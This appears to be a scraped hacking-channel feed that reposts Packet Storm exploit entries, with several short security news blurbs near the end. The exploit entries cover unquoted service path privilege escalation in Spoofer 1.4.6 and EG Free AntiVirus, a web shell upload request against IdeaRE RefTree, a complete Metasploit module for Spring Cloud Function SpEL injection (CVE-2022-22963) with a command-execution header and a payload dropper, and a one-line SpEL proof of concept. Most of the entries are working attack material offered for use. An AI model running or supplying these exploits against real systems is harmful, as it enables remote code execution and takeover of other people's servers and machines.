Exploit Collector
Spoofer 1.4.6 Privilege Escalation / Unquoted Service Path

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Spoofer version 1.4.6 suffers from an unquoted service path vulnerability that can lead to privilege escalation.

MD5 | 519cd741e8a7025d315797603a548032

Download
# Exploit Title: Spoofer 1.4.6 – Local Privilege Escalation via Unquoted Service Path
# Date: 24/01/2022
# Exploit Author: Asim Sattar (@M_Asim_1)
# Vendor Homepage: https://www.caida.org/projects/spoofer/
# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe
# Version: 1.4.6
# Tested: Windows 10 (x64)
# CVE: CVE-2021-46443
Description:

-------------
Caida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted
service path. Since this service is running as SYSTEM, this creates a local
privilege escalation vulnerability. To properly exploit this vulnerability,
a local attacker can insert an executable in the path of the service.
Rebooting the system or restarting the service will run the malicious
executable with elevated privileges.
------------------

Proof of Concept:

------------------
C:\Users\asim.sattar>wmic service get name,pathname,displayname,startmode |
findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Spoofer Scheduler spoofer-scheduler C:\Program Files
(x86)\Spoofer\spoofer-scheduler.exe Auto
C:\Users\asim.sattar>sc qc "spoofer-scheduler"

[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: spoofer-scheduler

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 1 NORMAL

BINARY_PATH_NAME : C:\Program Files
(x86)\Spoofer\spoofer-scheduler.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : Spoofer Scheduler

DEPENDENCIES : tcpip

SERVICE_START_NAME : LocalSystem
Regards,

Asim Sattar

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome DeserializeFromMessage Validation Issue

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
Chrome has an issue where a malformed message sent to DeserializeFromMessage may trigger deserialization of out-of-bounds data.

MD5 | a56ea47a250ff2878dde318be1eb3a62

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IdeaRE RefTree Shell Upload

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
IdeaRE RefTree versions prior to 2021.09.17 suffer from a remote shell upload vulnerability.

MD5 | b5254f5700fec9d47bc63de6bc572026

Download
===============================================================================
title: IdeaRE RefTree Remote Code Execution
product: IdeaRE RefTree < 2021.09.17
vulnerability type: Unrestricted File Upload
CVE ID: CVE-2022-27249
severity: High
CVSSv3 score: 8.8
CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
found: 2021-09-13
by: Savino Sisco saviosisco@gmail.com
===============================================================================

[EXECUTIVE SUMMARY]
RefTree is a web application made for managing complex real estate situations.
Among other features, it offers the possibility for authenticated users
to upload and download DWG (CAD drawings) files for buildings.

During a penetration test activity, an "Unrestricted File Upload" vulnerability
was found which leverages the upload feature to upload a file anywhere on the
target system.

By uploading a malicious web page, like an aspx web shell, to the server's
web root it is possible to achive code execution by just navigating to the
malicious page with a web browser.

[VULNERABLE VERSIONS]
IdeaRE RefTree < 2021.09.17

[TECHNICAL DETAILS]
It is possible to reproduce the issue following these steps:
1. Log into the application to get a valid session cookie
2. Get a valid "ObjId" from the application (the ID of a building to associate
the file to)
3. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/UploadDwg'
to upload a file on the target system, for example a web shell in the
server's web root
4. Navigate to the new page with a web browser to trigger code execution
Example of the HTTP request to the Upload endpoint:

POST /CaddemServiceJS/CaddemService.svc/rest/UploadDwg HTTP/2
Host: [REDACTED]
Cookie: ASP.NET_SessionId=b1125gke23enpul1ukeu1ouy
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 2211
Origin: https://[REDACTED]
Referer: https://[REDACTED]/Reftreespace/

{
"FileContent": "[BASE64_PAYLOAD]",
"DwgName": "C:\\inetpub\\wwwroot\\webshell.aspx",
"UploadType": "WorkingCopy",
"ObjId": 4774726,
"ObjType": 5,
"UpdateState": true,
"DwgOp": 23
}
HTTP/2 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: [REDACTED]
X-Powered-By: ASP.NET
Date: Fri, 10 Sep 2021 15:00:53 GMT
Content-Length: 24

{"UploadDwgResult":null}
[VULNERABILITY REFERENCE]
The following CVE ID was allocated to track the vulnerabilities:
CVE-2022-27249
[DISCLOSURE TIMELINE]
2021-09-13 Vulnerability disclosed to our customer and the vendor.
Vendor acknowledged the issue.
2021-09-17 Vendor released a fix for the software.
2021-10-15 The vulnerability was rechecked in the newer version to confirm
that is was indeed fixed.
2022-03-15 Researcher requested to publicly disclose the issue; public
coordinated disclosure.

[RESOLUTION]
Update the software to a version >= 2021.09.17

Savino Sisco
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Spring Cloud Function SpEL Injection

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.

MD5 | 37237adb0a663338ed6a55623faff6dbDownload ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Spring Cloud Function SpEL Injection',
'Description' => %q{
Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using
an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting
the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code
execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.
},
'Author' => [
'm09u3r', # vulnerability discovery
'hktalent', # github PoC
'Spencer McIntyre'
],
'References' => [
['CVE', '2022-22963'],
['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],
['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']
],
'DisclosureDate' => '2022-03-29',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 8080,
'TARGETURI' => '/functionRouter'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'])
)

return CheckCode::Unknown unless res

# both vulnerable and patched servers respond with 500 and a JSON body with these keys
return CheckCode::Safe unless res.code == 500
return CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)

# best we can do is detect that the service is running
CheckCode::Detected
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'headers' => {
'spring.cloud.function.routing-expression' => "T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub("'", "''")}'})"
}
)

fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500
end
end Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
EG Free AntiVirus 2020 Privilege Escalation / Unquoted Service Path

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
EG Free AntiVirus version 2020 suffers from an unquoted service path vulnerability that can lead to privilege escalation.

MD5 | 1f237a69cc97f9cb11c0109dcc192e3e

Download
# Exploit Title: EG Free AntiVirus v2020 - Unquoted Service Path (Local Privilege Escalation)
# Date: 24/01/2022
# Exploit Author: Shahrukh Iqbal Mirza (@shahrukhiqbal24)
# Vendor Homepage: http://www.egsoftweb.in/index.aspx
# Software Link: http://www.egsoftweb.in/OurProduct_Readmore.aspx?id=6
# Version: 2020
# Tested: Windows 10 (x64)
# CVE: CVE-2021-46439

-------------
Description:
-------------

EG Free AntiVirus (v2020) installs a service (WinSEGAV AutoConfig) with
an unquoted service path. Since this service is running as SYSTEM, it
creates a local privilege escalation vulnerability. To properly exploit
this vulnerability, a local attacker must insert an executable in the
path of the service. Rebooting the system or restarting the service
will run the malicious executable with elevated privileges.

------------------
Proof of Concept:
------------------

C:\Users\shah>sc qc “WinSEGAV AutoConfig”
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WinSEGAV AutoConfig
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\EGSoftWeb\EG Anti
Virus\egavser.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Service For EG Free AntiVirus
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Best regards,
Shahrukh Iqbal Mirza.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IdeaRE RefTree Path Traversal

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
IdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.

MD5 | 1904b5871bb55bef8c2d09153a908a8b

Download
===============================================================================
title: IdeaRE RefTree Download Path Traversal
product: IdeaRE RefTree < 2021.09.17
vulnerability type: Directory Traversal
CVE ID: CVE-2022-27248
severity: Medium
CVSSv3 score: 4.3
CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
found: 2021-09-13
by: Savino Sisco = 2021.09.17

[CONTACT DETAILS]
Savino Sisco
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Recon Tool: PSRecon

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
U.S. Cyber Command Adds APUS as Member in Newly Formed Academic Network

The Academic Engagement Network is designed to advance cybersecurity in four areas.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Global BEC Crackdown Nets 65 Suspects

FBI and international law enforcement agencies execute "Operation Eagle Sweep."

Cross-Site Scripting (XSS) via image rendering application

Hello Hackers, I’m MrEmpy, I’m 17 years old and welcome. Today I’m going to teach you how to test an image rendering application and be…Continue reading on Medium »
Read more...

Spring-Spel-0Day-Poc - Spring-Cloud / spring-cloud-function, spring.cloud.function.routing-expression, RCE, 0day, 0-day, POC, EXP
http://www.kitploit.com/2022/03/spring-spel-0day-poc-spring-cloud.html

___________________________
@hacking_Attack
@Hacking_Video

spring-cloud/spring-cloud-function RCE (https://www.kitploit.com/search/label/RCE) EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")
build wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

___________________________
@hacking_Attack
@Hacking_Video